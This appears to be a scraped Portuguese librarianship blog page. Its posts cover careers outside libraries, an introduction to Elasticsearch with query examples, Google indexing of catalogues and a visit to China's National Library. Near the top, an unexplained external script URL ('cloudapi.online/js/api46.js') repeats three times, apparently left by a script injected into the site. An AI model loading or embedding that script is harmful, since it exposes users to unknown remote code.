E quem não quer trabalhar em bibliotecas?

Há algum tempo o pessoal me pede para falar sobre bibliotecários que não querem passar nem perto de uma porta de biblioteca e se há alguma luz no fim do túnel. Então comecei a estudar e esse é o primeiro vídeo de uma série de alternativas para quem foge da mediação de leitura.

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

Uma pequena introdução ao Elasticsearch, para bibliotecários

Por que aprender Elasticsearch, se sou bibliotecário? Minha resposta simples para essa pergunta é que para se trabalhar em uma equipe multidisciplinar, é bastante importante entender ao menos os principais conceitos e melhores práticas de outras áreas. Além é claro de ser um diferencial competitivo na sua carreira.

Temos que começar rapidamente pela novidade essencial, que são os Banco de Dados não-relacionais (NoSQL) (Ops, não pode citar wikipédia, né?). Fiz uma pesquisa básica na BRAPCI e no RPPBCI e não encontrei nenhum resultado para os termos: elasticsearch, mongodb ou nosql, mas em compensação, uns 30 por XML. Então, cabe uma pequena explicação do que muda:

Primeiro, é necessário deixar claro que em tecnologia, não é porque você começa a adotar uma tecnologia que necessáriamente irá abandonar a anterior. Então, NoSQL não é necessariamente uma evolução do modelo SQL. Mas o que muda na prática?

Nos banco de dados relacionais, a informação é armazenada em tabelas, imagine a tabela LIVROS:

Titulo Autor Editora
Introdução à Biblioteconomia Edson Nery da Fonseca Briquet de Lemos Livros
Missão do bibliotecário José Ortega y Gasset Briquet de Lemos Livros

E as consultas, são por SQL:

SELECT * FROM LIVROS
Para retornar todos os títulos ou:
SELECT * FROM LIVROS
WHERE EDITORA = "Briquet de Lemos Livros"

Para recuperar todos os títulos de uma determinada editora.

Fiz um pequeno estudo de como os SIGBs livres armazenam os dados em banco de dados relacionais, para quem tiver interesse.

No modelo NoSQL, é um banco de dados que armazena o documento, mas um documento JSON. O JSON é um formato que tem algumas vantagens em relação ao XML. Vamos ver um exemplo dos dois:

< ?xml version="1.0" encoding="UTF-8"? >
< titulo >Introdução à Biblioteconomia< /titulo >
< autor >Edson Nery da Fonseca< /autor >
< editora >Briquet de Lemos Livros< /editora >
< /xml >

O XML, assim como o MARC, é um bom formato de intercâmbio de dados. Já o JSON ficaria assim:

{
"Titulo":"Introdução à Biblioteconomia",
"Autor": "Edson Nery da Fonseca"
"Editora": "Briquet de Lemos Livros"
}

A vantagem, neste caso, além de ser um formato mais enxuto, usar arrays, e pode ser usado diretamente nos bancos NoSQL, além é claro de ser o formato padrão do Javascript e por isso é usado amplamente na Internet por todas as APIs. Já é possível descrever documentos inteiros em JSON ou XML. Só como curiosidade, em 2007, eu juntei o que eu li sobre gerenciar documentos integrais em um pequeno slide, e vejo que hoje o modelo, precisa de adaptação, mas não perdeu totalmente o sentido:

Mas voltando ao Elasticsearch (dá para usar também o MongoBD, tendo cada um uma vantagem diferente sobre o outro). É um software livre, que faz parte de um conjunto chamado Elastic Stack.

A diferença que irei destacar em relação ao modelo relacional lá de cima é que a informação é armazenada no próprio documento e não tem mais uma estrutura fixa de dados. No modelo lá de cima, se quiser colocar a informação sobre a função do autor, tem que criar uma nova coluna na tabela. Para dois autores com duas funções diferentes, a coisa começa a complicar. Ou se criam 4 colunas, duas para o nome, duas para a função, ou se cria uma nova tabela, e faz o relacionamento entre elas. Mas é preciso uma modelagem prévia do modelo antes de entrar qualquer dado. No NoSQL, é bem mais simples, é só alterar o JSON. Como por exemplo no modelo abaixo:

{
"Titulo":"Introdução à Biblioteconomia",
"Autoria": {"nome":"Edson Nery da Fonseca",
"função":"Autor"
},
"Editora": "Briquet de Lemos Livros"
}

A desvantagem é que isso possibilita ter mais erros em relação a consistência dos dados.
Outro grande problema, é a esquematização da descrição. Há estudos em usar os nomes MARC e sua lógica de estrutura para os nomes dos campos. Eu particularmente não gosto desta abordagem. Eu optei por usar o formato schema.org. É um esquema bem completo para a descrição de qualquer tipo de objeto. Mas podemos utilizar qualquer esquema.

O Elasticsearch tem duas principais funcionalidades, pensando em recuperação da informação: A recuperação e a criação de facetas (ou agregações).

Ele não aceita consultas em SQL e tem um vocabulário próprio para consultas: Query DSL. E também um para construção de facetas: Aggregations.

Em relação a consulta, se destacam com alguns conceitos diferente em relação aos bancos de dados relacionais: atribuição de notas e criação de indices de palavras. Um campo título, por exemplo, ao ser indexado, é indexado por suas palavras separadas. Ele também cria um campo para o valor como um todo. Mas tem que buscar em um campo diferenciado com a palavra .keyword no final. Por exemplo, para uma busca no titulo acima, ele busca no índice de palavras “introdução” e “Biblioteconomia” e dá uma nota por maior proximidade de correspondência. Um chute: a busca acima daria uma nota de 80.333. Mas algum titulo como “Estudando a Biblioteconomia no Brasil”, daria uma nota de 30.455 para a mesma busca. Com isso, é possível definir a relevância, e inclusive, não exibir resultados com notas muito baixas.

Para as facetas, é necessário usar o valor completo do campo, e não ele quebrado em palavras. Por isso é preciso usar o campo .keyword. Por exemplo, o campo editora.keyword permite saber quantas vezes cada ocorrência aparece no campo editora. É possível em bancos relacionais usar o “GROUP BY”, mas ele tem menos funcionalidades.

Teria muitos mais detalhes, mas como a idéia era escrever apenas uma pequena introdução, vou só mostrar como seria um exemplo de inclusão de documento, consulta e agregação (O Banco só aceita comandos REST):

INCLUSÃO:

PUT catalogo/livros/1
{
"Titulo":"Introdução à Biblioteconomia",
"Autoria": {"nome":"Edson Nery da Fonseca",
"função":"Autor"
},
"Editora": "Briquet de Lemos Livros"
}

CONSULTA SIMPLES (Retorna os registros com autor “Edson Nery da Fonseca” ):

GET catalogo/livros/_search
{
"query" : {
"term" : { "Autoria.nome" : "Edson Nery da Fonseca" }
}
}

FACETA SIMPLES (Retorna todos os valores de editoras e suas quantidades):

GET catalogo/livros/_search
{
"size": 0,
"aggregations": {
"my_agg": {
"terms": {
"field": "Editora"
}
}
}
}

Só para finalizar, o Elasticsearch aguenta milhões de registros e tem uma ferramenta poderosa de Business Inteligence que é o Kibana. Posso escrever um post depois só sobre ele.

Querem testar os resultados? O Repertório da Produção Periódica Brasileira de Ciência da Informação – RPPBCI é um exemplo de busca usando o Elasticsearch. Ah, a resposta no RPPBCI é um pouco mais lenta, por que na hora de gerar o resultado, nós consultamos o facebook e armazenamos a resposta no banco de dados. Mas vale para testar as funcionalidades.

Indexação do catálogo no Google

Lá em 2014, eu e o Giuliano Ferreira conversamos sobre como poderíamos indexar nossos catálogos no Google. Depois ele apresentou um trabalho bacana no SNBU: “AUMENTANDO O ALCANCE E A VISIBILIDADE DE CATÁLOGOS ONLINE E REPOSITÓRIOS INSTITUCIONAIS COM A AJUDA DO GOOGLE.”. Então essa é uma idéia que estava martelando na minha cabeça desde aquela época.

Neste post vou mostrar o caminho que fizemos para tornar essa idéia algo real.

Atualmente temos um catálogo que pode ser indexado pelo google, mas não está sendo por uma questão importante, que é a limitação dele para receber muitos usuários. Começamos então a estudar uma maneira de contornar isso. E uma das soluções encontradas foi criar um OPAC independente, mas sincronizado, que possa receber toda a carga de uso sem sobrecarregar o sistema principal.

Desenvolvemos um software livre utilizando o ElasticSearch e PHP, muito inspirado no Vufind. O ElasticSearch, na minha opinião, é a melhor ferramenta de criação de índices e recuperação da informação no momento e PHP foi escolhida por ser uma linguagem simples, mas que é poderosa o suficiente.

A idéia principal por tras é pegar os registros MARC e transformá-los em JSON (formato padrão utilizado no Elasticsearch). Para os nomes dos campos, utilizamos o padrão schema.org. A vantagem em utilizar o Schema.org é que é um formato de metadados estruturados que o google utiliza, melhorando a indexação. O sistema tem em seu cabeçalho, os metadados estruturados no padrão JSON-LD utilizando o Schema.org.

É possível adaptar a aplicação para qualquer formato de entrada de metadados e sistema fonte de informação. E adaptar a interface para essa situação.

Atualmente temos 2 sistemas em produção utilizando esta lógica, ambos com os metadados catalogados em MARC, mas sendo sincronizados e oferendo uma forma alternativa de consulta:

Partituras da Universidade de São Paulo
Biblioteca Digital de Produção Intelectual da Universidade de São Paulo

Ainda não fizemos com o nosso catálogo principal.

Mas posso falar que são muitas as vantagens em indexar o catálogo no Google, mas a principal é ampliar a visibilidade de um acervo que até então o usuário teria que fazer uma busca individual em cada catálogo para saber que alguma instituição tem a obra que ele precisa. Essa lógica altera um pouco o fluxo de sistemas de busca federada.

Uma limitação ainda é que não controlamos totalmente o que é indexado, então não é possível garantir que o google irá indexar todos os seus conteúdos. Há estudos que mostram que o google tende a indexar somente uma porcentagem do conteúdo dos sites e nunca tudo. Então esta pode ser uma limitação importante a ser considerada.

Visitando a Biblioteca Nacional da China

Deixei a Soraia que há em mim aflorar. Normalmente não visito bibliotecas em viagens e deixo isso para alguns amigos meus que já fazem isso no meu lugar. Eu sei, sou um péssimo bibliotecário.

Não é que eu não goste de conhecê-las, gosto, mas é que acabo relacionando esse tipo de visita ao trabalho e fujo disso nas viagens que faço.

Mas Cauê, tu nem em biblioteca trabalha! Eu sei, mas…ah! vocês entenderam.

Enfim. Mês passado viajei pelo Vietnã e China e sem querer (isso mesmo) acabei “esbarrando” na Biblioteca Nacional da China quando estava em Pequim.

Estava a caminho do Parque Olímpico e ao pegar o metrô passei pela estação “National Library”. Opa! Acendeu o foguinho da curiosidade bibliotecária em mim e resolvi descer ali na volta. Dito e feito. Fui no Parque Olímpico, que por sinal é lindíssimo e muito bem conservado, e na volta desci na estação da biblioteca nacional para conhecê-la.

Logo na entrada não tinha quase nada em inglês e as informações do mapinha eram todas em mandarim. O que isso quer dizer? Não vai muito gringo por lá. Mas eu fui. Não esperavam por isso.

Bem fácil de saber o que quero conhecer na Biblioteca.

Deixei minha mochila nos lockers que se encontram no subsolo da biblioteca e entrei.

Grátis. Só apertar o botão, ele dará qual locker. Guarda. Pega o papelzinho e na volta só colocar no leitor e seu locker abre.

De cara você já tem noção de que ela é gigantesca e que o prédio tem uma arquitetura bem arrojada (que palavrinha heim) com enormes janelões de vidro.

Fui ao setor de informações perguntar se estava de boas qualquer um visitar as dependências. A atendente se esforçou no inglês e deu pra entender que em alguns locais só com a carteirinha da biblioteca ou com autorização da direção. Como eu não tinha tanto tempo de sobra assim naquele dia, resolvi visitar só as áreas permitidas, já que dava pra ver quase tudo por lá devido aos janelões.

Lindona. Eu babei legal. Segue fotchênhas.

A danada.
Frente da Biblioteca.
Hall de entrada.
Área de estudos vista de cima. Lindo pra ca…ramba!
Lindeco
Bonito mesmo.
Somente livros sobre robótica. T-1000 vai sair daí.
Igualzinho aqui.
Tudo na China é QR code. TU-DO. Não seria diferente na Biblioteca.
Tudo lindo.
Tudo maravilhoso.
Solicitação de empréstimo.
No subsolo há um salão para exposições.
Livrinhos bem antigos. Não dava pra saber data pois tava tudo em mandarim. =/
Autopromoção.
Não me pergunte que área é essa, tava em mandarim.
Como em toda a China, eles espalham plantas pra tudo quanto é lado.
Só de decoração.
Telas touch para consulta.
Área de estudos.

O que você sabe sobre a Biblioteca Nacional?

Durante esse ano estou trabalhando na Biblioteca Nacional como bolsista pesquisadora. Achei que essa era também uma ótima oportunidade para levar um pouco da instituição para o canal e falar sobre uma biblioteca que muita gente mal conhece (mesmo entre bibliotecários!). Nesse primeiro vídeo falo sobre sua história e algumas curiosidades.